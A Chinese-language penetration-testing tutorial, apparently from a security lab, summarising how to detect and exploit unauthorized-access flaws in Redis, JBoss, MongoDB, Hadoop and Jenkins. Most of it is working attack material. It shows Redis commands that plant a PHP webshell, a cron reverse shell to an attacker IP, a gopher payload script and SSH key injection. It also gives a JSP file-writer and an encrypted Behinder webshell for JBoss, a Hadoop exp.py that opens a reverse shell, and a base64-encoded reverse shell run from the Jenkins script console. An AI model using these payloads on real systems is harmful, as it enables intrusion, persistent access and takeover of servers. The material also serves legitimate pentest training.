『渗透测试』常见未授权访问总结
来源:宸极实验室
介绍:本文主要介绍了常见未授权访问漏洞的检测以及利用。
0x00 前言
最近测试过程遇到了一些未授权访问的漏洞,就做了一些总结,以后遇到了,可以进行直接参考。
0x01 redis未授权访问
靶机地址:192.168.160.128靶机路径:/var/www/html判断未授权漏洞存在,如下图:

1.1 漏洞检测
https://github.com/code-scan/rescan。
执行结果:

1.2 漏洞利用
1.2.1 利用redis写webshell
利用条件:
1.靶机redis链接未授权,在攻击机上能用redis-cli连上2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
依次执行命令如下:
192.168.160.128:6379> config set dir /var/www/htmlOK192.168.160.128:6379> config set dbfilename shell.phpOK192.168.160.128:6379> set webshell '\n\n\n<?php @eval($_POST['shell']);?>\n\n\n'OK192.168.160.128:6379> saveOK
第三步写入webshell时需要使用换行,因为redis写入文件的时候会自带一些版本信息,不换行可能会导致无法执行。
连接shell:

1.2.2 利用crontab反弹shell
利用条件:目标redis运行在centos且以root权限启动靶机地址:192.168.160.146攻击机地址:192.168.160.128
先在攻击机开启监听:nc -lvnp 4444 新开窗口依次执行如下命令:
redis-cli -h 192.168.160.146config set dir /var/spool/cronconfig set dbfilename rootset ceshi '\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.160.128/4444 0>&1\n\n'save
成功收到shell:

python脚本利用:
#!/usr/bin/env pythonimport urllibprotocol='gopher://'ip='192.168.160.146'port='6379'reverse_ip='192.168.160.1'reverse_port='4444'cron='\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n'%(reverse_ip,reverse_port)filename='root'path='/var/spool/cron'passwd=''cmd=['flushall','set 1 {}'.format(cron.replace(' ','${IFS}')),'config set dir {}'.format(path),'config set dbfilename {}'.format(filename),'save']if passwd:cmd.insert(0,'AUTH {}'.format(passwd))payload=protocol ip ':' port '/_'def redis_format(arr):CRLF='\r\n'redis_arr = arr.split(' ')cmd=''cmd ='*' str(len(redis_arr))for x in redis_arr:cmd =CRLF '$' str(len((x.replace('${IFS}',' ')))) CRLF x.replace('${IFS}',' ')cmd =CRLFreturn cmdif __name__=='__main__':for x in cmd:payload = urllib.quote(redis_format(x))print payload
执行该脚本,然后curl:

最后成功监听到:

计划任务文件:

注:若以 kali 192.168.160.128作为靶机,centos192.168.160.148作为攻击机,反弹不成功。
config set dir /var/spool/cron/crontabs //kali里的计划任务目录是/var/spool/cron/crontabsset ceshi '\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.160.128/4444 0>&1\n\n'ubuntu也无法反弹。
出现这个问题的原因是linux的cron中执行命令的shell环境是bin/sh。但是ubuntu和kali里的bin/sh指向的dash。而dash这个shell只有运行脚本的能力,没有交互能力。
这里可以查看一下bin/sh的指向。
cd /bin & ls -l | grep -w 'sh'centos

kali

Ubuntu

如果想通过计划任务反弹shell,参考下列文章:
https://www.dazhuanlan.com/2019/11/15/5dce507a41df5/
1.2.3 利用公私钥认证获取root权限
利用条件:靶机为linux靶机:192.168.160.146依次在攻击机上执行:
ssh-keygen -t rsa //在攻击机上生成ssh公钥和私钥,密码设置为空cd /root/.ssh(echo -e '\n\n'; cat id_rsa.pub; echo -e '\n\n') > 1.txt //将生成的公钥报存为1.txt

然后依次执行:
cat 1.txt | redis-cli -h 192.168.160.146 -x set crack //将保存的ssh公钥写入redisredis-cli -h 192.168.16.146 //登录redis服务CONFIG GET dir //查看redis备份的路径config set dir /root/.ssh //修改redis的备份路径为ssh公钥存放目录CONFIG SET dbfilename authorized_keys //设置上传公钥的备份文件名字为authorized_keysCONFIG GET dbfilename //检查是否更改成功save
ssh -i id_rsa root@192.168.160.146yes
成功登录系统:

1.2.4 主从复制RCE
在redis4.x之后,redis增加了模块功能,通过外部拓展,可以实现在redis中实现一个新的redis命令,通过c语言编译并加载恶意的.so文件,达到代码执行的目的。适用版本:redis4.x-5.0.5 注:win下的redis的最新版本为3.2。所以win下这个是不行的。利用脚本:https://github.com/n0b0dyCN/redis-rogue-server。

脚本使用:
python3 redis-rogue-server.py --rhost 192.168.160.146 --lhost 192.168.160.1

https://www.jianshu.com/p/77052b00700chttps://www.cnblogs.com/bmjoker/p/9548962.html如果是win下的redis环境,且无法写webshell的情况下,参考如下文章:
https://xz.aliyun.com/t/7940https://xz.aliyun.com/t/8153
0x02 Jboss未授权访问漏洞
环境:docker的镜像testjboss 判断未授权漏洞存在,访问http://ip//jmx-console。

2.1 漏洞检测
检测脚本https://github.com/GGyao/jbossScan。

2.2 漏洞利用
2.2.1 写入木马
首先访问:
http://192.168.160.1/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25 if(request.getParameter(%22f%22)!%3dnull)(new java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b %25%3e&argType=boolean&arg4=True提取相关参数:
arg0:August.war //war包名称arg1:shell //文件名称arg2:.jsp //文件后缀名arg3:<% if(request.getParameter('f')!=null)(new java.io.FileOutputStream(application.getRealPath('/') request.getParameter('f'))).write(request.getParameter('t').getBytes()); %>//f=文件名,t=文件内容执行成功:

创建文件并访问:
http://192.168.160.1/August/shell.jsp?f=2.txt&t=123http://192.168.160.1/August/2.txt
2.2.2 远程部署war包
首先制作war包。 jar cvf ma1.war ma1.jsp。

然后部署在自己的服务器上。

在jmx-console搜索deployment,进入DeploymentScanner。

在addURL()的ParamValue上填写服务器上的war包地址。执行invoke。

执行成功。

返回到刚进入jmx-console的页面,找到jboss.web.deployment,如下说明部署成功。

访问木马地址,上传成功。

2.2.3 本地上传war包2
此处利用DeploymentFileRepository类,把war包部署到已知jmx-console目录下,这样不用知道网站的路径,且避免了其他路径不允许访问的限制。
进入该类后,修改BaseDir的值为./deploy/

然后到store方法里,修改值如下:
p1:jmx-consolep2:ceship3:.jspp4:<%@page import='java.util.*,javax.crypto.*,javax.crypto.spec.*'%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals('POST')){String k='e45e329feb5d925b';/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue('u',k);Cipher c=Cipher.getInstance('AES');c.init(2,new SecretKeySpec(k.getBytes(),'AES'));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>ps:p4就是冰蝎的马

invoke后,返回成功。

尝试访问http://192.168.160.1/jmx-console/ceshi.jsp,返回200。

冰蝎连上,成功。

2.3 漏洞利用脚本
利用脚本https://github.com/joaomatosf/jexboss。
python2 jexboss.py -host http://ip


参考:
https://www.cnblogs.com/rnss/p/13377321.htmlhttps://www.cnblogs.com/Hack-Devil/p/13741604.html
0x03 MongoDB未授权访问
3.1 漏洞检测
通过数据库工具进行连接。 NoSQLBooster工具,下载地址https://nosqlbooster.com/downloads

0x04 hadoop未授权访问
4.1 漏洞利用
靶机:127.0.0.1:8088vulhub的hadoop的环境访问8088页面,可以直接看到hadoop的web页面。

exp.py如下:
import requeststarget = 'http://127.0.0.1:8088/'lhost = '192.168.160.1' # put your local host ip here, and listen at port 4444url = target 'ws/v1/cluster/apps/new-application'resp = requests.post(url)app_id = resp.json()['application-id']url = target 'ws/v1/cluster/apps'data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/4444 0>&1' % lhost,},},'application-type': 'YARN',}requests.post(url, json=data)
执行如下命令:
nc -lvp 4444python exp.py成功:

0x05 jenkinis未授权访问
5.1 漏洞检测
访问http://ip:8080/manage,不需要登录就可以访问,就存在漏洞。

5.2 漏洞利用
靶机:192.168.160.145:8080
访问http://192.168.160.145:8080/script 查看一下用户println 'whoami'.execute().text。

有可写权限的情况下,可以利用脚本向网站路径写webshell。这里的网站路径是/var/www/html。
new File ('/var/www/html/shell.php').write('<?php phpinfo(); ?>');如果权限不够报错。靶机是ubuntu,开启jenkins服务新建一个jenkins用户,权限不太够。

靶机修改一下用户,用root运行,继续新建文件,无报错,可访问。


进行反弹shell。反弹命令进行编码:http://www.jackson-t.ca/runtime-exec-payloads.html。

println 'bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjE2MC4xLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}'.execute().text成功反弹。

0x06 总结
本篇文章对常见场景下的未授权访问漏洞的检测和利用进行了总结,主要是为了方便后续测试遇到时的利用,后续希望研究一下某些特定场景下该怎么利用。

